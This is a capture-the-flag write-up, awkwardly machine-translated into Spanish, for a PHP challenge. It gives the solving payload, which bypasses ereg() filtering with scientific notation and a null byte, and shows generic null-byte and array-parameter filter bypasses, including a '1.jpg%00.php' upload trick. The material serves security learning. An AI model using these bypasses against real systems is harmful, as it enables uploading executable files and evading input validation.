Directorio
Titulo
<?php
if (isset($_POST["submit"]))
{
if (isset($_POST['hihi']))
{
if (ereg("^[a-zA-Z0-9]+$", $_POST['hihi']) === FALSE)// 只能有数字字母,00截断?
{
exit('<script>alert("have fun:)")</script>');
}
elseif (strlen($_POST['hihi']) < 11 && $_POST['hihi'] > 999999999)//至多10位,要大于999999999[9位],科学计数法?
{
if (strpos($_POST['hihi'], '#HONG#') !== FALSE)
{
if (!is_array($_POST['hihi'])) {
include("flag.php");
echo "Congratulations! FLAG is : ".$flag;
}
else
{
exit('<script>alert("nonono")</script>');
}
}
else
{
exit('<script>alert("nonono")</script>');
}
}
else
{
exit('<script>alert("sorry")</script>');
}
}
}
show_source(__FILE__);
?>
Análisis
if (ereg("^[a-zA-Z0-9]+$", $_POST['hihi']) === FALSE)
Solo puede tener letras numéricaselseif (strlen($_POST['hihi']) < 11 && $_POST['hihi'] > 999999999)
Como máximo 10 dígitos, mayor que 999999999 [9 dígitos]if (strpos($_POST['hihi'], '#HONG#') !== FALSE)
Tener#HONG#
- Integral
1
+2
=> notación científica, 1e9 = 1000000000 [10 bit]
1
+3
=>ereg
puede ser de corte 00,ereg
para identificar1e9%00#HONG#
la%00
secuencia considerada ha terminado, en línea con la parte delantera del 1E9 regulares
Punto de conocimiento
Notación científica
1e9 = 1000000000
Dos puntos de atención de la función ereg [% 00 y matriz como parámetros]
ereg
La función tiene dos puntos de atención.
- Puede ser
NULL
truncado carácter, es decir,%00
corte, para identificar%00
el final de la cadena que - Sólo se puede manejar cadenas, que viene a través de una serie de parámetros para volver
NULL
, si está utilizandoereg
el filtro, puede utilizar una gran variedad de pase y el 00 de derivación de corte por alto
como
<?php
$_FILES["name"]="1.jpg%00.php";
if(ereg(".jpg$",$_FILES["name"]) === 1)
{
echo "upload success!";
}
<?php
//传数组,ereg返回NULL,!==False
if(ereg("admin$",$_POST["name"]) !== False)
{
echo "success!";
}
Solución
submit=1&hihi=1e9%00#HONG#